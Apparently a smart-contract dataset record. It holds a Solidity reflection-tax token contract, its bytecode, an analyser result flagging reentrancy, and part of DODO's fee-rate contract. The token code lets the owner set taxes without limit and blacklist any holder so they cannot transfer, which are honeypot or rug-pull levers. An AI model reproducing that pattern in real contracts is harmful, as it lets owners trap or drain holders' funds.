uint256 private _maxHoldAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxHoldAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x7CB401Ea9396C72934aDBb60FECC0B6Dd034b6A2);
_buyTax = 10;
_sellTax = 10;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxBuyAmount);
require(amount.add(walletBalance) <= _maxHoldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxBuyAmount = 10000000 * 10**9;
_maxHoldAmount = 20000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10000000 * 10**9) {
_maxHoldAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
_sellTax = sellTax;
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
_buyTax = buyTax;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034c578063c3c8cd801461036c578063c9567bf914610381578063dbe8272c14610396578063dc1052e2146103b6578063dd62ed3e146103d657600080fd5b8063715018a6146102ab5780638da5cb5b146102c057806395d89b41146102e85780639e78fb4f14610317578063a9059cbb1461032c57600080fd5b8063273123b7116100f2578063273123b71461021a578063313ce5671461023a57806346df33b7146102565780636fc3eaec1461027657806370a082311461028b57600080fd5b806306fdde031461013a578063095ea7b31461018357806318160ddd146101b35780631bbae6e0146101d857806323b872dd146101fa57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d2a32b6b836329027b31022b637b760911b60208201525b60405161017a9190611663565b60405180910390f35b34801561018f57600080fd5b506101a361019e3660046116dd565b61041c565b604051901515815260200161017a565b3480156101bf57600080fd5b50670de0b6b3a76400005b60405190815260200161017a565b3480156101e457600080fd5b506101f86101f3366004611709565b610433565b005b34801561020657600080fd5b506101a3610215366004611722565b61047e565b34801561022657600080fd5b506101f8610235366004611763565b6104e7565b34801561024657600080fd5b506040516009815260200161017a565b34801561026257600080fd5b506101f861027136600461178e565b610532565b34801561028257600080fd5b506101f861057a565b34801561029757600080fd5b506101ca6102a6366004611763565b6105ae565b3480156102b757600080fd5b506101f86105d0565b3480156102cc57600080fd5b506000546040516001600160a01b03909116815260200161017a565b3480156102f457600080fd5b5060408051808201909152600681526554454d504c4560d01b602082015261016d565b34801561032357600080fd5b506101f8610644565b34801561033857600080fd5b506101a36103473660046116dd565b610856565b34801561035857600080fd5b506101f86103673660046117c1565b610863565b34801561037857600080fd5b506101f86108f9565b34801561038d57600080fd5b506101f8610939565b3480156103a257600080fd5b506101f86103b1366004611709565b610aec565b3480156103c257600080fd5b506101f86103d1366004611709565b610b1b565b3480156103e257600080fd5b506101ca6103f1366004611886565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610429338484610b4a565b5060015b92915050565b6000546001600160a01b031633146104665760405162461bcd60e51b815260040161045d906118bf565b60405180910390fd5b662386f26fc1000081111561047b5760118190555b50565b600061048b848484610c6e565b6104dd84336104d885604051806060016040528060288152602001611a85602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8c565b610b4a565b5060019392505050565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161045d906118bf565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161045d906118bf565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161045d906118bf565b4761047b81610fc6565b6001600160a01b03811660009081526002602052604081205461042d90611000565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161045d906118bf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066e5760405162461bcd60e51b815260040161045d906118bf565b600f54600160a01b900460ff16156106c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075191906118f4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c291906118f4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083391906118f4565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610429338484610c6e565b6000546001600160a01b0316331461088d5760405162461bcd60e51b815260040161045d906118bf565b60005b81518110156108f5576001600660008484815181106108b1576108b1611911565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ed8161193d565b915050610890565b5050565b6000546001600160a01b031633146109235760405162461bcd60e51b815260040161045d906118bf565b600061092e306105ae565b905061047b81611084565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161045d906118bf565b600e546109839030906001600160a01b0316670de0b6b3a7640000610b4a565b600e546001600160a01b031663f305d719473061099f816105ae565b6000806109b46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a419190611958565b5050600f8054662386f26fc1000060105566470de4df82000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047b9190611986565b6000546001600160a01b03163314610b165760405162461bcd60e51b815260040161045d906118bf565b600b55565b6000546001600160a01b03163314610b455760405162461bcd60e51b815260040161045d906118bf565b600c55565b6001600160a01b038316610bac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045d565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045d565b6001600160a01b038216610d345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045d565b60008111610d965760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045d565b6001600160a01b03831660009081526006602052604090205460ff1615610dbc57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dfe57506001600160a01b03821660009081526005602052604090205460ff16155b15610f7c576000600955600c54600a55600f546001600160a01b038481169116148015610e395750600e546001600160a01b03838116911614155b8015610e5e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e735750600f54600160b81b900460ff165b15610eae576000610e83836105ae565b9050601054821115610e9457600080fd5b601154610ea183836111fe565b1115610eac57600080fd5b505b600f546001600160a01b038381169116148015610ed95750600e546001600160a01b03848116911614155b8015610efe57506001600160a01b03831660009081526005602052604090205460ff16155b15610f0f576000600955600b54600a555b6000610f1a306105ae565b600f54909150600160a81b900460ff16158015610f455750600f546001600160a01b03858116911614155b8015610f5a5750600f54600160b01b900460ff165b15610f7a57610f6881611084565b478015610f7857610f7847610fc6565b505b505b610f8783838361125d565b505050565b60008184841115610fb05760405162461bcd60e51b815260040161045d9190611663565b506000610fbd84866119a3565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f5573d6000803e3d6000fd5b60006007548211156110675760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161045d565b6000611071611268565b905061107d838261128b565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110cc576110cc611911565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611125573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114991906118f4565b8160018151811061115c5761115c611911565b6001600160a01b039283166020918202929092010152600e546111829130911684610b4a565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bb9085906000908690309042906004016119ba565b600060405180830381600087803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061120b8385611a2b565b90508381101561107d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045d565b610f878383836112cd565b60008060006112756113c4565b9092509050611284828261128b565b9250505090565b600061107d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611404565b6000806000806000806112df87611432565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611311908761148f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134090866111fe565b6001600160a01b038916600090815260026020526040902055611362816114d1565b61136c848361151b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b191815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113df828261128b565b8210156113fb57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114255760405162461bcd60e51b815260040161045d9190611663565b506000610fbd8486611a43565b600080600080600080600080600061144f8a600954600a5461153f565b925092509250600061145f611268565b905060008060006114728e878787611594565b919e509c509a509598509396509194505050505091939550919395565b600061107d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8c565b60006114db611268565b905060006114e983836115e4565b3060009081526002602052604090205490915061150690826111fe565b30600090815260026020526040902055505050565b600754611528908361148f565b60075560085461153890826111fe565b6008555050565b6000808080611559606461155389896115e4565b9061128b565b9050600061156c60646115538a896115e4565b905060006115848261157e8b8661148f565b9061148f565b9992985090965090945050505050565b60008080806115a388866115e4565b905060006115b188876115e4565b905060006115bf88886115e4565b905060006115d18261157e868661148f565b939b939a50919850919650505050505050565b6000826115f35750600061042d565b60006115ff8385611a65565b90508261160c8583611a43565b1461107d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045d565b600060208083528351808285015260005b8181101561169057858101830151858201604001528201611674565b818111156116a2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461047b57600080fd5b80356116d8816116b8565b919050565b600080604083850312156116f057600080fd5b82356116fb816116b8565b946020939093013593505050565b60006020828403121561171b57600080fd5b5035919050565b60008060006060848603121561173757600080fd5b8335611742816116b8565b92506020840135611752816116b8565b929592945050506040919091013590565b60006020828403121561177557600080fd5b813561107d816116b8565b801515811461047b57600080fd5b6000602082840312156117a057600080fd5b813561107d81611780565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117d457600080fd5b823567ffffffffffffffff808211156117ec57600080fd5b818501915085601f83011261180057600080fd5b813581811115611812576118126117ab565b8060051b604051601f19603f83011681018181108582111715611837576118376117ab565b60405291825284820192508381018501918883111561185557600080fd5b938501935b8285101561187a5761186b856116cd565b8452938501939285019261185a565b98975050505050505050565b6000806040838503121561189957600080fd5b82356118a4816116b8565b915060208301356118b4816116b8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561190657600080fd5b815161107d816116b8565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561195157611951611927565b5060010190565b60008060006060848603121561196d57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561199857600080fd5b815161107d81611780565b6000828210156119b5576119b5611927565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a0a5784516001600160a01b0316835293830193918301916001016119e5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a3e57611a3e611927565b500190565b600082611a6057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a7f57611a7f611927565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd8af1848ba4ba77b0e29968d8ce732792de3c15195bf2d2b71ce3304d966ff964736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,267 |
0xc8f11428093b4a10ce899c511c3a1244f590d8d2
|
// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/DODOFee/FeeRateDIP3Impl.sol
interface ICrowdPooling {
function _QUOTE_RESERVE_() external view returns (uint256);
function getShares(address user) external view returns (uint256);
}
interface IFee {
function getUserFee(address user) external view returns (uint256);
}
interface IQuota {
function getUserQuota(address user) external view returns (int);
}
interface IPool {
function version() external pure returns (string memory);
function _LP_FEE_RATE_() external view returns (uint256);
}
contract FeeRateDIP3Impl is InitializableOwnable {
using SafeMath for uint256;
// ============ Storage ============
uint256 public _LP_MT_RATIO_ = 25;
struct CPPoolInfo {
address quoteToken;
int globalQuota;
address feeAddr;
address quotaAddr;
}
mapping(address => CPPoolInfo) cpPools;
mapping(address => uint256) public specPoolList;
// ============ Ownable Functions ============
function addCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner {
CPPoolInfo memory cpPoolInfo = CPPoolInfo({
quoteToken: quoteToken,
feeAddr: feeAddr,
quotaAddr: quotaAddr,
globalQuota: globalQuota
});
cpPools[cpPool] = cpPoolInfo;
}
function setCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner {
cpPools[cpPool].quoteToken = quoteToken;
cpPools[cpPool].feeAddr = feeAddr;
cpPools[cpPool].quotaAddr = quotaAddr;
cpPools[cpPool].globalQuota = globalQuota;
}
function setLpMtRatio(uint256 newLpMtRatio) external onlyOwner {
_LP_MT_RATIO_ = newLpMtRatio;
}
function setSpecPoolList (address poolAddr, uint256 mtFeeRate) public onlyOwner {
specPoolList[poolAddr] = mtFeeRate;
}
// ============ View Functions ============
function getFeeRate(address pool, address user) external view returns (uint256) {
if(specPoolList[pool] != 0) {
return specPoolList[pool];
}
try IPool(pool).version() returns (string memory poolVersion) {
bytes32 hashPoolVersion = keccak256(abi.encodePacked(poolVersion));
if(hashPoolVersion == keccak256(abi.encodePacked("CP 1.0.0"))) {
CPPoolInfo memory cpPoolInfo = cpPools[pool];
address quoteToken = cpPoolInfo.quoteToken;
if(quoteToken == address(0)) {
return 0;
}else {
uint256 userInput = IERC20(quoteToken).balanceOf(pool).sub(ICrowdPooling(pool)._QUOTE_RESERVE_());
uint256 userStake = ICrowdPooling(pool).getShares(user);
address feeAddr = cpPoolInfo.feeAddr;
address quotaAddr = cpPoolInfo.quotaAddr;
int curQuota = cpPoolInfo.globalQuota;
if(quotaAddr != address(0))
curQuota = IQuota(quotaAddr).getUserQuota(user);
require(curQuota == -1 || (curQuota != -1 && int(userInput.add(userStake)) <= curQuota), "DODOFeeImpl: EXCEED_YOUR_QUOTA");
if(feeAddr == address(0)) {
return 0;
} else {
return IFee(feeAddr).getUserFee(user);
}
}
} else if(hashPoolVersion == keccak256(abi.encodePacked("DVM 1.0.2")) || hashPoolVersion == keccak256(abi.encodePacked("DSP 1.0.1"))) {
uint256 lpFeeRate = IPool(pool)._LP_FEE_RATE_();
uint256 mtFeeRate = lpFeeRate.mul(_LP_MT_RATIO_).div(100);
if(lpFeeRate.add(mtFeeRate) >= 10**18) {
return 0;
} else {
return mtFeeRate;
}
} else {
return 0;
}
} catch (bytes memory) {
return 0;
}
}
function getCPInfoByUser(address pool, address user) external view returns (bool isHaveCap, int curQuota, uint256 userFee) {
CPPoolInfo memory cpPoolInfo = cpPools[pool];
if(cpPoolInfo.quoteToken == address(0)) {
isHaveCap = false;
curQuota = -1;
userFee = 0;
}else {
address quotaAddr = cpPoolInfo.quotaAddr;
curQuota = cpPoolInfo.globalQuota;
if(quotaAddr != address(0))
curQuota = IQuota(quotaAddr).getUserQuota(user);
if(curQuota == -1) {
isHaveCap = false;
}else {
isHaveCap = true;
uint256 userStake = ICrowdPooling(pool).getShares(user);
curQuota = int(uint256(curQuota).sub(userStake));
}
address feeAddr = cpPoolInfo.feeAddr;
if(feeAddr == address(0)) {
userFee = 0;
} else {
userFee = IFee(feeAddr).getUserFee(user);
}
}
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638456db151161008c578063a1e281de11610066578063a1e281de14610183578063b1efb8f414610196578063f2fde38b1461019e578063fae783d8146101b1576100cf565b80638456db1514610148578063848cc303146101505780638614c55214610170576100cf565b806301ea364b146100d45780630d009297146100e957806316048bc4146100fc57806344c194021461011a5780634e71e0c81461012d5780635454b84214610135575b600080fd5b6100e76100e2366004610f49565b6101d3565b005b6100e76100f7366004610e99565b610222565b610104610282565b6040516101119190611098565b60405180910390f35b6100e7610128366004610ee8565b610291565b6100e7610315565b6100e7610143366004610ee8565b6103a3565b61010461045f565b61016361015e366004610eb4565b61046e565b6040516101119190611200565b61016361017e366004610e99565b610a6c565b6100e7610191366004611026565b610a7e565b610163610aad565b6100e76101ac366004610e99565b610ab3565b6101c46101bf366004610eb4565b610b38565b604051610111939291906110ac565b6000546001600160a01b031633146102065760405162461bcd60e51b81526004016101fd90611197565b60405180910390fd5b6001600160a01b03909116600090815260046020526040902055565b600154600160a01b900460ff161561024c5760405162461bcd60e51b81526004016101fd90611136565b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031681565b6000546001600160a01b031633146102bb5760405162461bcd60e51b81526004016101fd90611197565b6001600160a01b03948516600090815260036020819052604090912080549587166001600160a01b031996871617815560028101805494881694871694909417909355820180549190951693169290921790925560010155565b6001546001600160a01b0316331461033f5760405162461bcd60e51b81526004016101fd906110c4565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031633146103cd5760405162461bcd60e51b81526004016101fd90611197565b6103d5610e5b565b50604080516080810182526001600160a01b039586168152602080820195865293861681830190815292861660608201908152968616600090815260039485905291909120905181549086166001600160a01b0319918216178255935160018201559051600282018054918616918516919091179055935193018054939092169216919091179055565b6001546001600160a01b031681565b6001600160a01b038216600090815260046020526040812054156104ab57506001600160a01b038216600090815260046020526040902054610a66565b826001600160a01b03166354fd4d506040518163ffffffff1660e01b815260040160006040518083038186803b1580156104e457600080fd5b505afa92505050801561051957506040513d6000823e601f3d908101601f191682016040526105169190810190610f8b565b60015b610557573d808015610547576040519150601f19603f3d011682016040523d82523d6000602084013e61054c565b606091505b506000915050610a66565b60008160405160200161056a919061103e565b6040516020818303038152906040528051906020012090506040516020016105919061106f565b60405160208183030381529060405280519060200120811415610930576105b6610e5b565b506001600160a01b038086166000908152600360208181526040928390208351608081018552815486168082526001830154938201939093526002820154861694810194909452909101549092166060820152908061061c576000945050505050610a66565b600061071a886001600160a01b031663bbf5ce786040518163ffffffff1660e